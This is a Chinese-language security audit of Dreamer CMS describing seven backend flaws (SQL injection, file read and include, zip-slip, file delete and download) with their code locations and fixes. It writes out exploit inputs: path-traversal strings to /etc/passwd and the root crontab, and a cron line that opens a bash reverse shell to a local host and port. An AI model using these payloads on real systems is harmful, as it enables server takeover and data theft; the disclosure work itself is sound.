Dreamer CMS 代码审计
字数 2111 2025-08-06 12:20:41
Dreamer CMS 代码审计报告
0x00 审计概述
本报告详细分析了Dreamer CMS系统中存在的多个安全漏洞,包括SQL注入、文件操作漏洞、目录穿越漏洞等,这些漏洞可能导致敏感信息泄露、任意文件操作甚至服务器权限获取。
0x01 环境搭建
- 测试环境:Docker + MySQL
- 系统版本:Dreamer CMS最新开发版
- MySQL版本:8.0.11+
0x02 漏洞详情
1. 后台设置栏目存在任意文件读取漏洞
漏洞效果:
- 通过SQL语句
SELECT CONVERT(load_file('/var/lib/mysql-files/test1.txt') USING utf8)读取服务器文件 - 可读取MySQL有权限访问的任何文件
漏洞定位:
src/main/resources/mapping/SqlMapper.xml文件直接执行传入的SQL语句- 无过滤、无预编译,但限制不能多行执行(除非添加
allowMultiQueries=true参数)
2. 后台模板标签存在SQL注入
漏洞效果:
- 通过
src/main/java/cc/iteachyou/cms/taglib/tags/SqlTag.java执行任意SELECT查询 - 可获取数据库所有表数据
漏洞定位:
- 仅校验SQL语句开头必须为
select,无其他过滤 - 可执行任意SELECT查询语句
3. 后台压缩校验不正确导致Getshell
漏洞效果:
- 创建恶意文件名:
..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root - 写入计划任务:
echo "*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/7777 0>&1" > 恶意文件名 - 打包为ZIP并通过风格管理上传
- 成功写入计划任务并获取服务器权限
漏洞定位:
src/main/java/cc/iteachyou/cms/utils/ZipUtils.java:- 仅校验
../未校验..\ - 将
*替换为/导致目录穿越
- 仅校验
src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java:- 解压逻辑存在缺陷
4. 后台附件管理处任意文件删除
漏洞效果:
- 上传文件并抓包修改
filepath为../../../../../../../var/www/dreamer-cms/backups/2023-03-14/2023-03-14_system_user.sql - 确认后可删除服务器上任意文件
漏洞定位:
src/main/java/cc/iteachyou/cms/controller/admin/AttachmentController.java:- 直接拼接文件路径,无过滤
5. 后台附件管理处任意文件下载
漏洞效果:
- 上传文件并抓包修改
filepath为../../../../../../etc/passwd - 可下载服务器敏感文件
漏洞定位:
- 同任意文件删除漏洞,同一处代码逻辑问题
6. 后台模板标签存在任意文件包含
漏洞效果:
- 修改模板文件添加:
{dreamer-cms:include file='../../../../../../../../../../../../etc/passwd'/} - 访问页面可包含任意文件内容
漏洞定位:
src/main/java/cc/iteachyou/cms/taglib/tags/IncludeTag.java:- 仅判断文件是否为空,无目录穿越校验
7. 后台模板管理任意编辑导致GetShell
漏洞效果:
- 复制默认主题并修改
theme.json中的themePath为../../../../../../../../../../../../../ - 打包上传并启用主题
- 在模板管理界面可编辑服务器上任意文件
漏洞定位:
src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java:- 对
themePath校验不严
- 对
src/main/java/cc/iteachyou/cms/controller/admin/TemplateController.java:getCanonicalPath校验可被绕过
0x03 修复建议
-
SQL注入:
- 使用预编译语句
- 严格过滤输入参数
-
文件操作漏洞:
- 规范化路径处理
- 增加严格的白名单校验
- 修复
..\和.\./等绕过方式
-
权限控制:
- 限制文件操作目录
- 实施最小权限原则
-
输入校验:
- 对所有用户输入进行严格过滤
- 实现服务端校验
0x04 总结
Dreamer CMS存在多处严重安全漏洞,攻击者可利用这些漏洞获取服务器敏感信息、修改系统文件甚至获取服务器控制权限。建议开发者参考本报告中的修复建议进行全面安全加固。